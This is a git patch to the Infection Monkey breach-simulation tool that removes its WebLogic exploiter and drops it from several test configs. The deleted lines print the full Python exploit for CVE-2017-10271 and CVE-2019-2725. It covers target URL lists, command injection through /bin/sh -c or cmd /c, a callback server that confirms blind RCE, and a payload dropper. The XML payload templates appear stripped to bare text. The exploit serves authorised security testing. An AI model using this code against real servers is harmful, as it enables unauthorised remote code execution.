From a0993cdfcb53158c17d0e9c81cc97440386e30d7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Apr 2022 14:07:08 +0200 Subject: [PATCH] Agent, UT: Remove WebLogic exploiter --- monkey/infection_monkey/exploit/weblogic.py | 333 ------------------ .../automated_master_config.json | 1 - .../monkey_configs/flat_config.json | 1 - .../monkey_config_standard.json | 1 - .../monkey_island/cc/services/test_config.py | 1 - 5 files changed, 337 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/weblogic.py diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py deleted file mode 100644 index 6c2d7d327..000000000 --- a/monkey/infection_monkey/exploit/weblogic.py +++ /dev/null @@ -1,333 +0,0 @@ -import copy -import logging -import threading -import time -from http.server import BaseHTTPRequestHandler, HTTPServer - -from requests import exceptions, post - -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.network.info import get_free_tcp_port -from infection_monkey.network.tools import get_interface_to_target - -logger = logging.getLogger(__name__) -# How long server waits for get request in seconds -SERVER_TIMEOUT = 4 -# How long should we wait after each request in seconds -REQUEST_DELAY = 0.1 -# How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 5 -# How long to wait for response in exploitation. In seconds -EXECUTION_TIMEOUT = 15 -# Malicious requests' headers: -HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", -} - - -class WebLogicExploiter(HostExploiter): - _EXPLOITED_SERVICE = "Weblogic" - - def _exploit_host(self): - exploiters = [WebLogic20192725, WebLogic201710271] - for exploiter in exploiters: - if exploiter(self.host).exploit_host(): - return True - - -# Exploit based of: -# Kevin Kirsche (d3c3pt10n) -# https://github.com/kkirsche/CVE-2017-10271 -# and -# Luffin from Github -# https://github.com/Luffin/CVE-2017-10271 -# CVE: CVE-2017-10271 -class WebLogic201710271(WebRCE): - URLS = [ - "/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11", - ] - - _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE - - def __init__(self, host): - super(WebLogic201710271, self).__init__( - host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"} - ) - - def get_exploit_config(self): - exploit_config = super(WebLogic201710271, self).get_exploit_config() - exploit_config["stop_checking_urls"] = True - exploit_config["url_extensions"] = WebLogic201710271.URLS - return exploit_config - - def exploit(self, url, command): - if "linux" in self.host.os["type"]: - payload = self.get_exploit_payload( - "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" - ) - else: - payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") - try: - post( # noqa: DUO123 - url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False - ) - except Exception as e: - logger.error("Connection error: %s" % e) - return False - - return True - - def add_vulnerable_urls(self, urls, stop_checking=False): - """ - Overrides parent method to use listener server - """ - # Server might get response faster than it starts listening to it, we need a lock - httpd, lock = self._start_http_server() - exploitable = False - - for url in urls: - if self.check_if_exploitable_weblogic(url, httpd): - exploitable = True - break - - if not exploitable and httpd.get_requests < 1: - # Wait for responses - time.sleep(REQUEST_TIMEOUT) - - if httpd.get_requests > 0: - # Add all urls because we don't know which one is vulnerable - self.vulnerable_urls.extend(urls) - self.exploit_info["vulnerable_urls"] = self.vulnerable_urls - else: - logger.info("No vulnerable urls found, skipping.") - - self._stop_http_server(httpd, lock) - - def check_if_exploitable_weblogic(self, url, httpd): - payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) - try: - post( # noqa: DUO123 - url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False - ) - except exceptions.ReadTimeout: - # Our request will not get response thus we get ReadTimeout error - pass - except Exception as e: - logger.error("Something went wrong: %s" % e) - return httpd.get_requests > 0 - - def _start_http_server(self): - """ - Starts custom http server that waits for GET requests - :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) - """ - lock = threading.Lock() - local_port = get_free_tcp_port() - local_ip = get_interface_to_target(self.host.ip_addr) - httpd = self.IndicationHTTPServer(local_ip, local_port, lock) - lock.acquire() - httpd.start() - lock.acquire() - return httpd, lock - - @staticmethod - def _stop_http_server(httpd, lock): - lock.release() - httpd.join(SERVER_TIMEOUT) - httpd.stop() - - @staticmethod - def get_exploit_payload(cmd_base, cmd_opt, command): - """ - Formats the payload used in exploiting weblogic servers - :param cmd_base: What command prompt to use eg. cmd - :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) - :param command: command itself - :return: Formatted payload - """ - empty_payload = """ - - - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - """ - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) - return payload - - @staticmethod - def get_test_payload(ip, port): - """ - Gets payload used for testing whether weblogic server is vulnerable - :param ip: Server's IP - :param port: Server's port - :return: Formatted payload - """ - generic_check_payload = """ - - - - - http://{host}:{port} - - - - - - - - - - """ - payload = generic_check_payload.format(host=ip, port=port) - return payload - - class IndicationHTTPServer(threading.Thread): - """ - Http server built to wait for GET requests. Because oracle web logic vuln is blind, - we determine if we can exploit by either getting a GET request from host or not. - """ - - def __init__(self, local_ip, local_port, lock, max_requests=1): - self.local_ip = local_ip - self.local_port = local_port - self.get_requests = 0 - self.max_requests = max_requests - self._stopped = False - self.lock = lock - threading.Thread.__init__(self) - self.daemon = True - - def run(self): - class S(BaseHTTPRequestHandler): - @staticmethod - def do_GET(): - logger.info("Server received a request from vulnerable machine") - self.get_requests += 1 - - logger.info("Server waiting for exploited machine request...") - httpd = HTTPServer((self.local_ip, self.local_port), S) - httpd.daemon = True - self.lock.release() - while not self._stopped and self.get_requests < self.max_requests: - httpd.handle_request() - - self._stopped = True - return httpd - - def stop(self): - self._stopped = True - - -# Exploit based of: -# Andres Rodriguez (acamro) -# https://github.com/rapid7/metasploit-framework/pull/11780 -class WebLogic20192725(WebRCE): - URLS = ["_async/AsyncResponseServiceHttps"] - DELAY_BEFORE_EXPLOITING_SECONDS = 5 - - _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE - - def __init__(self, host): - super(WebLogic20192725, self).__init__(host) - - def get_exploit_config(self): - exploit_config = super(WebLogic20192725, self).get_exploit_config() - exploit_config["url_extensions"] = WebLogic20192725.URLS - exploit_config["dropper"] = True - return exploit_config - - def execute_remote_monkey(self, url, path, dropper=False): - # Without delay exploiter tries to launch monkey file that is still finishing up after - # downloading. - time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS) - super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper) - - def exploit(self, url, command): - if "linux" in self.host.os["type"]: - payload = self.get_exploit_payload("/bin/sh", "-c", command) - else: - payload = self.get_exploit_payload("cmd", "/c", command) - try: - resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) - return resp - except Exception as e: - logger.error("Connection error: %s" % e) - return False - - def check_if_exploitable(self, url): - headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""}) - res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) - if res.status_code == 500 and "env:Client" in res.text: - return True - else: - return False - - @staticmethod - def get_exploit_payload(cmd_base, cmd_opt, command): - """ - Formats the payload used to exploit weblogic servers - :param cmd_base: What command prompt to use eg. cmd - :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) - :param command: command itself - :return: Formatted payload - """ - empty_payload = """ - - - xx - xx - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - """ - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) - return payload diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index 1604c0690..439103396 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -56,7 +56,6 @@ "vulnerability": [ {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}}, - {"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}} ] } diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 5d89bc003..2f48f30a6 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -50,7 +50,6 @@ "WmiExploiter", "SSHExploiter", "ZerologonExploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", "PowerShellExploiter", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 14e2c8b49..1ffce78cf 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -5,7 +5,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter" ] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 8f7a37d63..84ea942f4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -201,7 +201,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): "vulnerability": [ {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}}, - {"name": "WebLogicExploiter", "supported_os": [], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, ], }